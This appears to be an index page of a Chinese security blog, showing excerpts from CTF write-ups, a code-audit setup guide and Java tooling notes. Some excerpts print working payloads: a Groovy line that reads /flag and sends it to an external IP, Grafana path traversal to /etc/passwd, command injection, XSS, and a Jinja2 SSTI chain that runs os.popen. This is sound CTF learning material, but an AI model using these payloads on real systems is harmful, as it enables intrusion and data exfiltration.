Javassist动态编程
javassist介绍Javassist是一个开源的分析、编辑和创建Java字节码的类库,Java 字节码存储在称为类文件的二进制文件中。每个类文件包含一个 Java 类或接口。是由东京工业大学的数学和计算机科学系的 Shigeru Chiba (千叶 滋)所创建的。其主要的优点,在于简单,而且快速。直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。
学习一下javassist主要的几个类
javassist几个重要的类下面关于类的资料基本是网上copy的
ClassPoolClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象
常用方法
123456789101112ClassPool getDefault() 返回默认的类池。比如 ClassPool classPool = ClassPool.getDefault();ClassPath insertClassPath(String pathname) 在搜索路径的开头插入目录或jar(或zip)文件。 ...
ofcms1.1.4 内容管理系统代码审计
环境配置环境配置保姆级教程
1https://blog.csdn.net/Alexz__/article/details/116229266
git加载项目
maven设置
然后maven重新加载项目
配置tomcat
注意url和application context是一致的
deployment
数据库配置
新建数据库,注意mysql驱动,我下载驱动失败,使用的是本地maven仓库的驱动
解决办法:(9条消息) IDEA连接Mysql失败:下载驱动失败,Failed todownload Cannot download Read timed out_疯狂的帆的博客-CSDN博客
导入数据库
选择之前创建的ofcms_database,run
查看数据库,可以看到初始化成功
启动,在localhost:8080/ofcms_admin
然后配置之后(数据库这里我删除了,然后又整了一遍)
经过一段时间的加载,估计两三分钟,显示如下
关于ofcms目录简析(9条消息) 从OFCMS出发,浅析JavaWeb项目技术结构及其功能_Alexz__的博 ...
2022bytectf
easy_groovy12String aa = new File("/flag").textdef res1 = new URL('http://116.62.240.148:7077?a=' + aa).text;
easy_grafana8.2.6的版本对应有相应的漏洞
CVE-2021-43798:Grafana任意文件读取漏洞 - 腾讯云开发者社区-腾讯云 (tencent.com)
Grafana 文件读取漏洞分析与汇总(CVE-2021-43798) - 斗象能力中心
(1条消息) Grafana任意文件读取漏洞(CVE-2021-43798)复现_xzhome的博客-CSDN博客_graphite漏洞
受影响的插件
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748/public/plugins/alertGroups/../../../../../../../../etc/passwd/publi ...
idea创建maven项目一直显示loading archetype list...解决方法
在使用idea创建maven项目时,想使用现有的模板create from archetype,但是一直加载不出来,显示loading archetype list...
解决方法:对新建项目的设置进行修改
第一步
setting-->Build,Execution,Deployment-->Build Tools-->Maven-->importing
修改对应的JDK for importer
第二步
setting-->Build,Execution,Deployment-->Build Tools-->Maven-->Runner
修改对应的jre
注意修改之后保存!!!
然后再次新建maven项目的时候就会显现出来
参考链接:(9条消息) Idea loading archetype list…_彭珂个人网的博客-CSDN博客
java-sec-code-cmdinject-rce
java-sec-code[toc]
环境搭建大致参考:代码审计入门之java-sec-code(一) - FreeBuf网络安全行业门户
不同的地方,我使用的idea2021需要将src进行一下设置
然后按照4步进行设置
导入依赖花了一些时间
因为是在windows上运行,所以需要修改一部分代码
修改index.html
这个靶场包括java的很多漏洞
访问127.0.0.1:8080,账户密码 admin admin123
CmdInject命令注入
注意看url
1codeinject?filepath=.%26ipconfig
查看源码
关于ProcessBuilder(7条消息) 浅析ProcessBuilder_朱小厮的博客-CSDN博客_processbuilder
ProcessBuilder类是J2SE 1.5在java.lang中新添加的一个新类,此类用于创建操作系统进程,它提供一种启动和管理进程(也就是应用程序)的方法
属性command
是一个字符串列表,它表示要调用的外部程序文件及其参数(如果有)。在此,表示有效的操作系统命令的字符 ...
使用idea进行反编译
使用idea进行反编译首先在idea中安装插件,这里我从marketplace中没找到,然后在installed中发现已经安装好了
找到java-decompiler.jar存放的路径
1D:\software\IntelliJ IDEA 2021.2.3\plugins\java-decompiler\lib\java-decompiler.jar
在需要反编译的jar包同目录下创建一个文件夹,用来存放反编译之后的文件
在改目录下打开cmd(默认的java是java8)
1java -cp "D:\software\IntelliJ IDEA 2021.2.3\plugins\java-decompiler\lib\java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true app.jar app
但是会报错
Error: A JNI error has occurred, please check your installa ...
2022羊城杯-Web
羊城杯[toc]
签到
E:\markdown\CTF\2022比赛\0903羊城杯>ciphey -t “ZMJTPM33ZEDJXZOMTOGQRZOETN4GPMOFZV4GPAGPZD2TRBYRZRMJXAOIZR2U2===”Possible plaintext: ‘flag{dae090f201091d2b916bd4b9da3e45a4}’ (y/N): y╭────────────────────────────────────────────────────────────╮│ The plaintext is a Capture The Flag (CTF) Flag ││ Formats used: ││ caesar: ││ Key: 13 ...
SHELLCTF2022复现
SHELLCTF2022复现Choosy
Single solution doesn’t works on all problems. One should try different solutions for different problem.
Flag format:- shellctf{H3re_1s_tH3_F14g}
http://20.125.142.38:8324
Alternate link http://20.193.247.209:8333/
这个打开之后是这样的
功能是输入大写字母,返回小写字母,数字和字符不变。本来是想的是SSTI,但是怎么尝试也不行,看了wp才知道是xss
这个会解析html标签,但是会过滤script,可以使用img标签
onerror,在加载图片错误时执行javascript
payload
1<img src=x onerror=alert(1)>
Colour Cookie题目描述:
Gone those days when no colours, images, fonts use to be on a w ...
DASCTF2022.07赋能赛复现
DASCTF2022.07赋能赛复现[toc]
Ez to getflag会检查上传的文件的内容,不能存在php,可以使用短标签绕过,但是不知道文件上传的存放路径。
本来以为是文件上传,但是没想到是任意文件读取!!!
Harddiskfuzz,过滤了很多的关键词
其中大括号可以使用{%print(......)%}或{% if ... %}1{% endif %}的形式来代替,而print被过滤,所以用后者
根据过滤信息,[],点,class等关键词都被过滤,所以使用attr和unicode编码进行绕过
123{%if("".__class__)%}555{%endif%}{%if(""|attr("__class__"))%}555{%endif%}{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u00 ...
BDSecCTF2022-Web
BDSecCTF2022-Web[toc]
Jungle Templating模板注入
1{{7*7}}
自动化脚本
1{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls').read()")}}{% endif %}{% endfor %}
1{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warni ...